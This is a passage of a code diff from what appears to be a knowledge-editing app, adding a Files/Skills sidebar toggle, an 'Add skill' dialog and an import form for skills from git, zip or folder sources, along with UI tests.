+ suppressCreateMenuFocusRestoreRef.current = true;
+ tree?.createFromTemplate(initialCreateDir, templateName);
+ }}
+ ItemComponent={DropdownMenuItem}
+ />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ ) : null}
+ {!skillsViewActive ? (
+ <ToolbarButton
+ icon={FolderPlus}
+ label={t`New folder`}
+ onClick={() => tree?.startCreating('folder', initialCreateDir)}
+ // Desktop-only binding; on web the keycap would name a
+ // shortcut that does nothing.
+ shortcutId={isElectronHost ? 'new-folder' : undefined}
+ />
+ ) : null}
+ </div>
+ </SidebarGroupLabel>
+ <CollapsibleContent
+ className="flex max-h-[70vh] flex-col overflow-hidden"
+ style={{
+ // Sized flush to the tree's measured content height so the
+ // tree stays compact and the deselect filler fills the rest;
+ // `max-h-[70vh]` caps it so a long tree virtualizes +
+ // scrolls instead. The deselect-to-root hit target moved to
+ // the empty filler below (a flush tree leaves no empty space
+ // of its own to click). `50vh` bootstraps before the first
+ // measurement lands.
+ height: treeContentHeight != null ? `${treeContentHeight}px` : '50vh',
+ }}
+ >
+ <FileTree ref={setTree} onContentHeightChange={setTreeContentHeight} />
+ </CollapsibleContent>
+ </SidebarGroup>
+ </Collapsible>
+ )}
{/* Deselect-to-root hit target. With the tree sized flush to its
rows there's no empty space inside it to click, so the leftover
sidebar space below the sections takes over: clicking it clears
@@ -1344,7 +1372,7 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
disabled={projectLocalBinding === null}
data-testid="empty-space-menu-show-skills-section"
>
- <Trans>Show skills section</Trans>
+ <Trans>Skills section</Trans>
</ContextMenuCheckboxItem>
{showTreeStateSection ? <ContextMenuSeparator /> : null}
{showExpandAll ? (
diff --git a/packages/app/src/components/FileTree.duplicate.dom.test.tsx b/packages/app/src/components/FileTree.duplicate.dom.test.tsx
index afe1676ae..6d6def3a9 100644
--- a/packages/app/src/components/FileTree.duplicate.dom.test.tsx
+++ b/packages/app/src/components/FileTree.duplicate.dom.test.tsx
@@ -312,6 +312,7 @@ vi.doMock('@/editor/DocumentContext', () => ({
prewarm: () => {},
reconcileLocalRemoval: reconcileLocalRemovalMock,
reconcileLocalRename: reconcileLocalRenameMock,
+ setSkillsSidebar: () => {},
}),
}));
diff --git a/packages/app/src/components/FileTree.showall-lazy.dom.test.tsx b/packages/app/src/components/FileTree.showall-lazy.dom.test.tsx
index 497aaa900..c33d7ebdf 100644
--- a/packages/app/src/components/FileTree.showall-lazy.dom.test.tsx
+++ b/packages/app/src/components/FileTree.showall-lazy.dom.test.tsx
@@ -225,6 +225,7 @@ vi.doMock('@/editor/DocumentContext', () => ({
prewarm: () => {},
reconcileLocalRemoval: vi.fn(async () => {}),
reconcileLocalRename: vi.fn(async () => {}),
+ setSkillsSidebar: vi.fn(() => {}),
}),
}));
vi.doMock('@/components/PageListContext', () => ({
diff --git a/packages/app/src/components/FileTree.tsx b/packages/app/src/components/FileTree.tsx
index 943c5d016..feba6a454 100644
--- a/packages/app/src/components/FileTree.tsx
+++ b/packages/app/src/components/FileTree.tsx
@@ -1179,6 +1179,7 @@ export function FileTree({
prewarm,
reconcileLocalRemoval,
reconcileLocalRename,
+ setSkillsSidebar,
} = useDocumentContext();
const { notifySidebarFileSelected } = useSidebar();
const { resolvedTheme } = useTheme();
@@ -1294,6 +1295,13 @@ export function FileTree({
);
pushHashWithoutNavigation(hashFromAssetPath(target.assetPath));
}
+ // Opening from the Files tree KEEPS you in Files, even when the thing you
+ // opened is a skill's file. Surface follows the target only when the
+ // navigation came from outside a tree (a deep link, the palette) and so
+ // carries no surface intent of its own — clicking a row in a tree carries
+ // plenty. Must run after `openTarget`: committing a new tab re-arms
+ // autofollow, and this is the pin that overrides it.
+ setSkillsSidebar(false);
notifySidebarFileSelected();
}
function activateTreePath(treePath: string, entries: readonly FileEntry[] = documents) {
diff --git a/packages/app/src/components/FilesSkillsToggle.dom.test.tsx b/packages/app/src/components/FilesSkillsToggle.dom.test.tsx
new file mode 100644
index 000000000..f1b0dc599
--- /dev/null
+++ b/packages/app/src/components/FilesSkillsToggle.dom.test.tsx
@@ -0,0 +1,61 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+// The toggle's only collaborator is DocumentContext's `setSkillsSidebar`; mock it
+// so the tests assert the surface-flip behavior without the real provider graph.
+const setSkillsSidebar = vi.fn();
+vi.doMock('@/editor/DocumentContext', () => ({
+ useDocumentContext: () => ({ setSkillsSidebar }),
+}));
+
+async function renderToggle(active: 'files' | 'skills') {
+ const { FilesSkillsToggle } = await import('./FilesSkillsToggle');
+ // Segments wrap their items in Radix Tooltip, which needs a provider ancestor.
+ const { TooltipProvider } = await import('@/components/ui/tooltip');
+ render(
+ <TooltipProvider>
+ <FilesSkillsToggle active={active} />
+ </TooltipProvider>,
+ );
+}
+
+describe('FilesSkillsToggle', () => {
+ afterEach(() => {
+ cleanup();
+ setSkillsSidebar.mockReset();
+ });
+
+ test('renders both segments', async () => {
+ await renderToggle('files');
+ expect(screen.getByTestId('sidebar-files-toggle')).toBeTruthy();
+ expect(screen.getByTestId('sidebar-skills-toggle')).toBeTruthy();
+ });
+
+ test('selecting Skills flips the sidebar surface on', async () => {
+ await renderToggle('files');
+ fireEvent.click(screen.getByTestId('sidebar-skills-toggle'));
+ expect(setSkillsSidebar).toHaveBeenCalledWith(true);
+ });
+
+ test('selecting Files flips the sidebar surface off', async () => {
+ await renderToggle('skills');
+ fireEvent.click(screen.getByTestId('sidebar-files-toggle'));
+ expect(setSkillsSidebar).toHaveBeenCalledWith(false);
+ });
+
+ test('re-clicking the active segment is ignored (Radix empty-value deselect guard)', async () => {
+ await renderToggle('files');
+ // Radix single-select clears the value when you click the active item; the
+ // handler must swallow that empty case so one surface stays selected.
+ fireEvent.click(screen.getByTestId('sidebar-files-toggle'));
+ expect(setSkillsSidebar).not.toHaveBeenCalled();
+ });
+
+ test('collapsed segment pins an accessible name; selected relies on its visible label', async () => {
+ await renderToggle('files');
+ // Skills is collapsed (icon-only) → explicit aria-label carries the name.
+ expect(screen.getByTestId('sidebar-skills-toggle').getAttribute('aria-label')).toBe('Skills');
+ // Files is selected → no override, the visible label is the accessible name.
+ expect(screen.getByTestId('sidebar-files-toggle').getAttribute('aria-label')).toBeNull();
+ });
+});
diff --git a/packages/app/src/components/FilesSkillsToggle.tsx b/packages/app/src/components/FilesSkillsToggle.tsx
new file mode 100644
index 000000000..638178537
--- /dev/null
+++ b/packages/app/src/components/FilesSkillsToggle.tsx
@@ -0,0 +1,146 @@
+import { useLingui } from '@lingui/react/macro';
+import { File, Hexagon, type LucideIcon } from 'lucide-react';
+import type { ReactNode } from 'react';
+import { ToggleGroup, ToggleGroupItem } from '@/components/ui/toggle-group';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+import { useDocumentContext } from '@/editor/DocumentContext';
+import { cn } from '@/lib/utils';
+
+interface FilesSkillsToggleProps {
+ /** Which surface is currently active — drives the highlighted segment. */
+ active: 'files' | 'skills';
+}
+
+/**
+ * Persistent Files/Skills switch at the top of the sidebar. Each surface is
+ * icon-first: the unselected segment is icon-only, and selecting one unfurls its
+ * label (an animated `grid-template-columns` 0fr→1fr width reveal, clipped by
+ * `overflow-hidden`) so the active surface is the only one that reads as text.
+ * The collapsed segment carries a tooltip so its bare icon can still be named on
+ * hover. Both segments stay in the DOM at all times — the collapsed label is
+ * clipped, not removed, so it remains in the accessible name. Selecting flips
+ * only the sidebar surface (via the ephemeral `skillsSidebar` flag) — it does
+ * NOT navigate or open a hub tab, so the current doc stays open; the empty state
+ * maps to the Skills base page in Skills mode (see `EditorArea`). The icon-only
+ * width is content-sized (no `w-full`) so it can share the sidebar chrome row
+ * with the trailing search affordance.
+ */
+export function FilesSkillsToggle({ active }: FilesSkillsToggleProps) {
+ const { t } = useLingui();
+ const { setSkillsSidebar } = useDocumentContext();
+ return (
+ <ToggleGroup
+ type="single"
+ value={active}
+ onValueChange={(value) => {
+ // Radix single-select lets you click the active item to clear it; ignore
+ // the empty case so one surface is always selected.
+ if (value === 'skills') setSkillsSidebar(true);
+ else if (value === 'files') setSkillsSidebar(false);
+ }}
+ aria-label={t`Switch between Files and Skills`}
+ size="sm"
+ spacing={1}
+ >
+ <Segment
+ value="files"
+ icon={File}
+ label={t`Files`}
+ selected={active === 'files'}
+ testId="sidebar-files-toggle"
+ />
+ <Segment
+ value="skills"
+ icon={Hexagon}
+ label={t`Skills`}
+ selected={active === 'skills'}
+ testId="sidebar-skills-toggle"
+ />
+ </ToggleGroup>
+ );
+}
+
+/**
+ * One toggle segment. Icons render at `size-4` with the lucide default stroke so
+ * they match the sidebar search icon in size, weight, and (via the shared
+ * `text-muted-foreground` unselected color) hue.
+ *
+ * Two constraints force styling to key off the `selected` prop rather than the
+ * item's `data-[state=on]`:
+ *
+ * 1. The Tooltip wraps the item UNCONDITIONALLY. Gating the wrapper on `selected`
+ * changes the element type at this position, so React would remount the
+ * ToggleGroupItem on every toggle — and a freshly-mounted node renders at its
+ * final width with nothing to transition from, so the unfurl never plays.
+ * A stable tree preserves the DOM node so the width reveal animates.
+ * 2. `TooltipTrigger` and `ToggleGroupItem` BOTH write `data-state` to the same
+ * element (open/closed vs on/off); through `asChild` the tooltip's value wins,
+ * so `data-[state=on]:*` styles silently stop matching. Radix still drives
+ * selection via `aria-checked`, so behavior is fine — but the chip background,
+ * selected text color, and label reveal must come from `selected` instead.
+ *
+ * The selected chip is a quiet `bg-foreground/5` overlay (a touch stronger in
+ * dark); `cn` + tailwind-merge make these last-wins overrides deterministic.
+ */
+function Segment({
+ value,
+ icon: Icon,
+ label,
+ selected,
+ testId,
+}: {
+ value: 'files' | 'skills';
+ icon: LucideIcon;
+ label: string;
+ selected: boolean;
+ testId: string;
+}) {
+ return (
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <ToggleGroupItem
+ value={value}
+ // Collapsed, the segment is effectively icon-only (its label is clipped
+ // to 0 width), so pin the accessible name explicitly rather than lean on
+ // AT reliably traversing grid-clipped text. When selected the visible
+ // label is the name (WCAG 2.5.3 Label in Name), so clear the override.
+ aria-label={selected ? undefined : label}
+ className={cn(
+ 'gap-0',
+ selected && 'bg-foreground/5 text-foreground dark:bg-foreground/10',
+ )}
+ data-testid={testId}
+ >
+ <Icon className="size-4" aria-hidden />
+ <UnfurlingLabel expanded={selected}>{label}</UnfurlingLabel>
+ </ToggleGroupItem>
+ </TooltipTrigger>
+ {selected ? null : <TooltipContent side="bottom">{label}</TooltipContent>}
+ </Tooltip>
+ );
+}
+
+/**
+ * The segment label, revealed only when its segment is selected. The
+ * `grid-cols-[0fr]`→`[1fr]` track animates width; `overflow-hidden` both clips the
+ * collapsed label and forces the grid child's automatic minimum size to 0 so the
+ * track can actually reach 0fr. Keyed off the `expanded` prop (not the item's
+ * `data-state`, which the Tooltip clobbers — see `Segment`); toggling the class on
+ * this persistent node is what the CSS transition animates. The leading padding
+ * sits INSIDE the clipped region so the icon↔label gap collapses with the label,
+ * keeping the icon centered when the segment is icon-only.
+ */
+function UnfurlingLabel({ children, expanded }: { children: ReactNode; expanded: boolean }) {
+ return (
+ <span
+ className={cn(
+ 'grid grid-cols-[0fr] transition-[grid-template-columns] duration-150 ease-out motion-reduce:transition-none',
+ expanded && 'grid-cols-[1fr]',
+ )}
+ >
+ <span className="overflow-hidden">
+ <span className="block whitespace-nowrap pl-1.5">{children}</span>
+ </span>
+ </span>
+ );
+}
diff --git a/packages/app/src/components/ImportSkillDialog.tsx b/packages/app/src/components/ImportSkillDialog.tsx
new file mode 100644
index 000000000..32fdd8ea5
--- /dev/null
+++ b/packages/app/src/components/ImportSkillDialog.tsx
@@ -0,0 +1,93 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans } from '@lingui/react/macro';
+import { ExploreSkills } from '@/components/ExploreSkills';
+import { ImportSkillForm } from '@/components/ImportSkillForm';
+import {
+ Dialog,
+ DialogContent,
+ DialogDescription,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs';
+
+/** Which way to add a skill the modal opens on. ("New skill" is not a tab — it's a
+ * direct blank-create, so both the sidebar and the Skills home create inline.) */
+export type AddSkillTab = 'skills-sh' | 'upload';
+
+interface Props {
+ defaultScope: SkillScope;
+ open: boolean;
+ onOpenChange: (open: boolean) => void;
+ /** Which tab to open on. Defaults to the skills.sh directory. */
+ defaultTab?: AddSkillTab;
+ /** Called after a skill lands (uploaded, imported, or freshly created). */
+ onImported: (imported: { scope: SkillScope; name: string }) => void;
+}
+
+/**
+ * One door for adding a skill to the project, as source tabs: browse the
+ * skills.sh directory, Upload one you have (a remote git URL / `owner/repo`, or a
+ * local `.zip` / folder), or start Blank (name + description, edit the body
+ * after). Skills already present in your other tools are surfaced separately as
+ * read-only "Detected" rows in the Skills sidebar, not here. Each pane owns its
+ * own work; Radix unmounts inactive tabs, so a source only loads when opened.
+ */
+export function ImportSkillDialog({
+ defaultScope,
+ open,
+ onOpenChange,
+ defaultTab = 'skills-sh',
+ onImported,
+}: Props) {
+ return (
+ <Dialog open={open} onOpenChange={onOpenChange}>
+ {/* Content-sized (capped at 85vh), not a fixed 80vh: the skills.sh browse
+ pane is a tall list that pins itself to a definite height and scrolls
+ internally, while the Upload/Blank form panes are short and size to
+ their content so the footer sits right under the form instead of
+ floating at the bottom of a fixed-height sheet. */}
+ <DialogContent className="flex max-h-[85vh] flex-col gap-4 sm:max-w-4xl">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>Add skill</Trans>
+ </DialogTitle>
+ <DialogDescription className="sr-only">
+ <Trans>Browse or upload a skill for this project.</Trans>
+ </DialogDescription>
+ </DialogHeader>
+ {/* Line-style (underlined) tabs — the trigger's `line` variant pairs with
+ the list's `line` variant for the border-b underline strip. */}
+ <Tabs defaultValue={defaultTab} className="flex min-h-0 flex-1 flex-col gap-3">
+ <TabsList variant="line" className="w-full justify-start gap-4 border-b p-0">
+ <TabsTrigger variant="line" value="skills-sh">
+ <Trans>Explore</Trans>
+ </TabsTrigger>
+ <TabsTrigger variant="line" value="upload">
+ <Trans>Upload</Trans>
+ </TabsTrigger>
+ </TabsList>
+ {/* Browse pane: definite height (its `h-full` internal scroll region
+ needs a concrete parent height) so the long list gets room. */}
+ <TabsContent value="skills-sh" className="h-[62vh] min-h-0 flex-none">
+ <ExploreSkills scope={defaultScope} onNavigate={() => onOpenChange(false)} />
+ </TabsContent>
+ {/* Form panes: complete the flex + min-h-0 chain from the max-h
+ DialogContent down to each form's DialogBody (`flex-1 min-h-0
+ overflow-y-auto`). Because DialogContent is `max-h` (not a fixed
+ height), a short form still content-sizes with the footer directly
+ under it, while a tall form lets the DialogBody scroll and pins the
+ footer at the bottom. `gap-6` stands in for DialogContent's own gap
+ so the body↔footer spacing matches the standalone dialogs. */}
+ <TabsContent value="upload" className="mt-3 flex min-h-0 flex-1 flex-col gap-6">
+ <ImportSkillForm
+ defaultScope={defaultScope}
+ onOpenChange={onOpenChange}
+ onImported={onImported}
+ />
+ </TabsContent>
+ </Tabs>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/ImportSkillForm.dom.test.tsx b/packages/app/src/components/ImportSkillForm.dom.test.tsx
new file mode 100644
index 000000000..3c5f408c4
--- /dev/null
+++ b/packages/app/src/components/ImportSkillForm.dom.test.tsx
@@ -0,0 +1,26 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+import { ImportSkillForm } from './ImportSkillForm';
+
+vi.mock('@/lib/skills-api', () => ({
+ discoverSkillsInSource: vi.fn(),
+ importSkill: vi.fn(),
+ uploadSkill: vi.fn(),
+}));
+
+describe('ImportSkillForm', () => {
+ afterEach(cleanup);
+
+ test('labels remote and file controls and describes the selected global destination', () => {
+ render(<ImportSkillForm defaultScope="global" onOpenChange={() => {}} onImported={() => {}} />);
+
+ expect(screen.getByRole('textbox', { name: 'Remote skill source' })).not.toBeNull();
+
+ expect(screen.getByTestId('skill-import-disclosure').textContent).toContain(
+ 'Saved into your global skills folder',
+ );
+
+ fireEvent.click(screen.getByRole('radio', { name: /Zip file/ }));
+ expect(screen.getByLabelText('Choose a skill archive').getAttribute('type')).toBe('file');
+ });
+});
diff --git a/packages/app/src/components/ImportSkillForm.tsx b/packages/app/src/components/ImportSkillForm.tsx
new file mode 100644
index 000000000..c5cec1f1d
--- /dev/null
+++ b/packages/app/src/components/ImportSkillForm.tsx
@@ -0,0 +1,458 @@
+import type { SkillDiscover, SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { FileArchive, Folder, GitBranch, Loader2Icon } from 'lucide-react';
+import { useEffect, useId, useRef, useState } from 'react';
+import { toast } from 'sonner';
+import { Button } from '@/components/ui/button';
+import { DialogBody, DialogFooter } from '@/components/ui/dialog';
+import { Input } from '@/components/ui/input';
+import { Label } from '@/components/ui/label';
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group';
+import {
+ Select,
+ SelectContent,
+ SelectItem,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { announceSkillImport } from '@/lib/skill-import-toast';
+import { SKILL_SCOPE_ORDER, useSkillScopeLabels } from '@/lib/skill-scope';
+import { discoverSkillsInSource, importSkill, uploadSkill } from '@/lib/skills-api';
+import { cn } from '@/lib/utils';
+
+/** Remote = fetch by reference (importSkill); Zip/Folder = send bytes (uploadSkill). */
+type SkillSource = 'remote' | 'zip' | 'folder';
+
+// Source picker choice card — mirrors SharingModeField's card styling so the two
+// radio-card selectors read as one family. Checked state is applied per-card via
+// a `source === value` ternary (below), not a `has-data-checked` selector.
+const SOURCE_CARD_BASE =
+ 'flex items-start justify-between gap-3 rounded-md border p-3 text-sm font-normal transition-colors cursor-pointer';
+
+/**
+ * The unified "bring a skill you already have" form — the Import pane of the
+ * skill modal. One Source selector switches between a remote reference (GitHub
+ * `owner/repo`, a git URL, or a local path) and a local `.zip` / folder upload.
+ * The modal supplies its own DialogHeader, so this renders body + footer only.
+ */
+export function ImportSkillForm({
+ defaultScope,
+ onOpenChange,
+ onImported,
+}: {
+ defaultScope: SkillScope;
+ onOpenChange: (open: boolean) => void;
+ onImported: (imported: { scope: SkillScope; name: string }) => void;
+}) {
+ const { t } = useLingui();
+ const sourceId = useId();
+ const sourceGroupId = useId();
+ const skillId = useId();
+ const scopeId = useId();
+ const fileId = useId();
+ const scopeLabels = useSkillScopeLabels();
+
+ const [scope, setScope] = useState<SkillScope>(defaultScope);
+ const [source, setSource] = useState<SkillSource>('remote');
+ const [reference, setReference] = useState('');
+ const [skill, setSkill] = useState('');
+ const [files, setFiles] = useState<FileList | null>(null);
+ const [busy, setBusy] = useState(false);
+ // Skills found in the remote source (null = not yet looked). The picker only
+ // shows when a source bundles more than one, so a single-skill source imports
+ // with no extra step.
+ const [discovered, setDiscovered] = useState<SkillDiscover['skills'] | null>(null);
+ const [discovering, setDiscovering] = useState(false);
+ // A finished probe that turned up nothing (bad ref / 404 / clone fail). Kept
+ // distinct from `discovered === null` (not-yet-looked) so the hint shows only
+ // after a real miss, not before the first probe.
+ const [discoverMiss, setDiscoverMiss] = useState(false);
+
+ // `webkitdirectory` is not typed on React inputs — toggle it on the DOM node
+ // per source. The input is keyed by source so it remounts (clearing a stale
+ // pick), and this effect re-applies the attribute on each remount.
+ const inputRef = useRef<HTMLInputElement>(null);
+ useEffect(() => {
+ const el = inputRef.current;
+ if (!el) return;
+ if (source === 'folder') {
+ el.setAttribute('webkitdirectory', '');
+ el.setAttribute('directory', '');
+ } else {
+ el.removeAttribute('webkitdirectory');
+ el.removeAttribute('directory');
+ }
+ }, [source]);
+
+ const trimmedReference = reference.trim();
+ const isUpload = source === 'zip' || source === 'folder';
+ // Folder picks report each file's webkitRelativePath; the first segment is the
+ // chosen dir's name — the useful thing to echo back, not "500 files".
+ const uploadFolderName = files?.[0]?.webkitRelativePath?.split('/')[0] ?? '';
+
+ // Peek at the remote source (debounced) so we can offer a picker of what to
+ // ingest instead of a blind "which skill" box. Discovery uses the same clone
+ // as import, so if it fails, import would fail identically — no free-text
+ // fallback needed. When several skills exist, preselect the first so Import
+ // always resolves; otherwise clear `skill` and let the server pick the sole one.
+ useEffect(() => {
+ if (isUpload || trimmedReference === '') {
+ setDiscovered(null);
+ setDiscovering(false);
+ setDiscoverMiss(false);
+ setSkill('');
+ return;
+ }
+ let cancelled = false;
+ const ctrl = new AbortController();
+ setDiscovering(true);
+ setDiscoverMiss(false);
+ const timer = setTimeout(() => {
+ void discoverSkillsInSource(trimmedReference, ctrl.signal).then((res) => {
+ if (cancelled) return;
+ setDiscovering(false);
+ if (!res.ok) {
+ setDiscovered(null);
+ setSkill('');
+ setDiscoverMiss(true);
+ return;
+ }
+ setDiscoverMiss(false);
+ setDiscovered(res.skills);
+ setSkill(res.skills.length > 1 ? res.skills[0].name : '');
+ });
+ }, 500);
+ return () => {
+ cancelled = true;
+ ctrl.abort();
+ clearTimeout(timer);
+ };
+ }, [trimmedReference, isUpload]);
+
+ const canSubmit =
+ !busy && (isUpload ? files !== null && files.length > 0 : trimmedReference !== '');
+
+ async function runSubmit() {
+ if (!canSubmit) return;
+ setBusy(true);
+ if (isUpload && files !== null) {
+ const fd = new FormData();
+ if (source === 'zip') {
+ fd.append('file', files[0]);
+ } else {
+ // Preserve the folder structure via each file's webkitRelativePath so
+ // the server can reconstruct the skill dir.
+ for (const f of Array.from(files)) {
+ fd.append('files', f, f.webkitRelativePath || f.name);
+ }
+ }
+ const result = await uploadSkill(fd, scope);
+ setBusy(false);
+ if (!result.ok) {
+ toast.error(t`Upload failed: ${result.error}`);
+ return;
+ }
+ announceSkillImport('upload', result);
+ onImported({ scope, name: result.name });
+ onOpenChange(false);
+ return;
+ }
+
+ const result = await importSkill({
+ source: trimmedReference,
+ ...(skill.trim() !== '' ? { skill: skill.trim() } : {}),
+ scope,
+ });
+ setBusy(false);
+ if (!result.ok) {
+ // Pre-import discovery runs a separate clone that can fail while import's
+ // own clone succeeds — so the picker never rendered and this went in
+ // blind. Import saw the bundle and returned the names: recover into the
+ // picker instead of dead-ending on an un-actionable "pass skill" error.
+ if (result.skills && result.skills.length > 1) {
+ setDiscovered(result.skills.map((name) => ({ name, description: null })));
+ setSkill(result.skills[0]);
+ // Not a failure — the picker just needs a selection. `info`, not `error`,
+ // so the recovery reads as a next step rather than a red alarm.
+ toast.info(t`This source bundles several skills — choose one, then Import.`);
+ return;
+ }
+ toast.error(t`Import failed: ${result.error}`);
+ return;
+ }
+ announceSkillImport('import', result);
+ onImported({ scope, name: result.name });
+ onOpenChange(false);
+ }
+
+ return (
+ <>
+ <DialogBody className="flex flex-col gap-6">
+ <div className="flex flex-col gap-2">
+ <Label htmlFor={scopeId}>
+ <Trans>Scope</Trans>
+ </Label>
+ <Select value={scope} onValueChange={(v) => setScope(v as SkillScope)}>
+ <SelectTrigger id={scopeId} className="w-full">
+ <SelectValue />
+ </SelectTrigger>
+ <SelectContent>
+ {SKILL_SCOPE_ORDER.map((s) => (
+ <SelectItem key={s} value={s}>
+ {scopeLabels[s]}
+ </SelectItem>
+ ))}
+ </SelectContent>
+ </Select>
+ </div>
+ <div className="flex flex-col gap-2">
+ <Label id={sourceGroupId}>
+ <Trans>Source</Trans>
+ </Label>
+ {/* Choice cards: stacked on narrow dialogs, horizontal (3-up) on wider
+ screens. Each card carries a one-line description the bare toggle
+ couldn't. */}
+ <RadioGroup
+ value={source}
+ onValueChange={(v) => {
+ setSource(v as SkillSource);
+ setFiles(null);
+ }}
+ aria-labelledby={sourceGroupId}
+ className="grid-cols-1 gap-2 sm:grid-cols-3 mb-2"
+ >
+ <Label
+ htmlFor={`${sourceGroupId}-remote`}
+ className={cn(
+ SOURCE_CARD_BASE,
+ source === 'remote'
+ ? 'border-primary bg-primary/5'
+ : 'border-border hover:bg-muted/40',
+ )}
+ >
+ <span className="flex flex-col gap-0.5">
+ <span className="flex items-center gap-2 font-medium">
+ <GitBranch className="size-4 shrink-0 text-muted-foreground" aria-hidden="true" />
+ <Trans>Remote</Trans>
+ </span>
+ <span className="text-1sm text-muted-foreground">
+ <Trans>GitHub, a git URL, or a local path.</Trans>
+ </span>
+ </span>
+ <RadioGroupItem id={`${sourceGroupId}-remote`} value="remote" className="mt-0.5" />
+ </Label>
+ <Label
+ htmlFor={`${sourceGroupId}-zip`}
+ className={cn(
+ SOURCE_CARD_BASE,
+ source === 'zip'
+ ? 'border-primary bg-primary/5'
+ : 'border-border hover:bg-muted/40',
+ )}
+ >
+ <span className="flex flex-col gap-0.5">
+ <span className="flex items-center gap-2 font-medium">
+ <FileArchive
+ className="size-4 shrink-0 text-muted-foreground"
+ aria-hidden="true"
+ />
+ <Trans>Zip file</Trans>
+ </span>
+ <span className="text-1sm text-muted-foreground">
+ <Trans>A .zip or .skill archive.</Trans>
+ </span>
+ </span>
+ <RadioGroupItem id={`${sourceGroupId}-zip`} value="zip" className="mt-0.5" />
+ </Label>
+ <Label
+ htmlFor={`${sourceGroupId}-folder`}
+ className={cn(
+ SOURCE_CARD_BASE,
+ source === 'folder'
+ ? 'border-primary bg-primary/5'
+ : 'border-border hover:bg-muted/40',
+ )}
+ >
+ <span className="flex flex-col gap-0.5">
+ <span className="flex items-center gap-2 font-medium">
+ <Folder className="size-4 shrink-0 text-muted-foreground" aria-hidden="true" />
+ <Trans>Folder</Trans>
+ </span>
+ <span className="text-1sm text-muted-foreground">
+ <Trans>A folder containing SKILL.md.</Trans>
+ </span>
+ </span>
+ <RadioGroupItem id={`${sourceGroupId}-folder`} value="folder" className="mt-0.5" />
+ </Label>
+ </RadioGroup>
+ {isUpload ? (
+ <>
+ {/* Native file chrome ("Choose File / No file chosen") reads as an
+ unstyled wart next to the shadcn controls — keep the input for
+ its file/webkitdirectory behavior but drive it from a Button. */}
+ <Input
+ key={source}
+ ref={inputRef}
+ id={fileId}
+ aria-label={source === 'zip' ? t`Choose a skill archive` : t`Choose a skill folder`}
+ type="file"
+ data-testid="skill-upload-input"
+ accept={source === 'zip' ? '.zip,.skill' : undefined}
+ onChange={(e) => setFiles(e.target.files)}
+ className="sr-only"
+ />
+ <div className="flex items-center gap-2">
+ <Button
+ type="button"
+ variant="outline"
+ size="sm"
+ onClick={() => inputRef.current?.click()}
+ >
+ {source === 'zip' ? <Trans>Choose file</Trans> : <Trans>Choose folder</Trans>}
+ </Button>
+ <span
+ className="truncate text-sm text-muted-foreground"
+ data-testid="skill-upload-filename"
+ >
+ {files && files.length > 0 ? (
+ source === 'folder' ? (
+ files.length === 1 ? (
+ t`${uploadFolderName} — 1 file`
+ ) : (
+ t`${uploadFolderName} — ${files.length} files`
+ )
+ ) : (
+ files[0].name
+ )
+ ) : (
+ <Trans>No file selected</Trans>
+ )}
+ </span>
+ </div>
+ </>
+ ) : (
+ <>
+ <Input
+ id={sourceId}
+ aria-label={t`Remote skill source`}
+ data-testid="skill-import-source-input"
+ value={reference}
+ onChange={(e) => setReference(e.target.value)}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter') void runSubmit();
+ }}
+ placeholder={t`owner/repo, a git URL, or a local path`}
+ className="font-mono"
+ />
+ {/* Live feedback only — the "what a Remote source is" description
+ lives in the radio card + placeholder, so idle shows nothing. */}
+ {discovering || discoverMiss || (discovered && discovered.length === 1) ? (
+ <p className="text-1sm text-muted-foreground">
+ {discovering ? (
+ <Trans>Checking source</Trans>
+ ) : discoverMiss ? (
+ <Trans>
+ No skill found at that source. Import will report why if you continue.
+ </Trans>
+ ) : discovered && discovered.length === 1 ? (
+ <Trans>Found one skill: {discovered[0].name}</Trans>
+ ) : null}
+ </p>
+ ) : null}
+ </>
+ )}
+ </div>
+ {!isUpload && discovered && discovered.length > 1 ? (
+ <div className="flex flex-col gap-2">
+ <Label htmlFor={skillId}>
+ <Trans>Which skill</Trans>
+ </Label>
+ <Select value={skill} onValueChange={setSkill}>
+ <SelectTrigger
+ id={skillId}
+ size="sm"
+ className="w-full"
+ data-testid="skill-import-pick"
+ >
+ <SelectValue />
+ </SelectTrigger>
+ <SelectContent>
+ {discovered.map((s) => (
+ <SelectItem key={s.name} value={s.name}>
+ {s.name}
+ </SelectItem>
+ ))}
+ </SelectContent>
+ </Select>
+ <p className="text-1sm text-muted-foreground">
+ <Trans>This source bundles several skills — choose the one to import.</Trans>
+ </p>
+ </div>
+ ) : null}
+ {/* Disclosure: a "what happens next" label over a plain bulleted list —
+ no card, no per-item icons. */}
+ <div role="note" className="space-y-3" data-testid="skill-import-disclosure">
+ <p className="font-medium text-xs font-mono text-muted-foreground/80 uppercase tracking-wider">
+ <Trans>What happens next</Trans>
+ </p>
+ <ul className="list-disc space-y-2.5 pl-4 text-sm text-muted-foreground marker:text-muted-foreground/50">
+ <li>
+ {scope === 'project' ? (
+ <Trans>
+ Saved into this project's skills folder (e.g.{' '}
+ <code className="rounded bg-muted px-1 py-0.5 font-mono text-[0.9em] text-foreground/80">
+ .agents/skills
+ </code>
+ ), versioned alongside your project.
+ </Trans>
+ ) : (
+ <Trans>
+ Saved into your global skills folder (e.g.{' '}
+ <code className="rounded bg-muted px-1 py-0.5 font-mono text-[0.9em] text-foreground/80">
+ ~/.agents/skills
+ </code>
+ ).
+ </Trans>
+ )}
+ </li>
+ <li>
+ <Trans>Any scripts are shown for review, never run.</Trans>
+ </li>
+ <li>
+ <Trans>
+ Install it to your other editors (Claude Code, Cursor, Codex) to share it.
+ </Trans>
+ </li>
+ </ul>
+ </div>
+ </DialogBody>
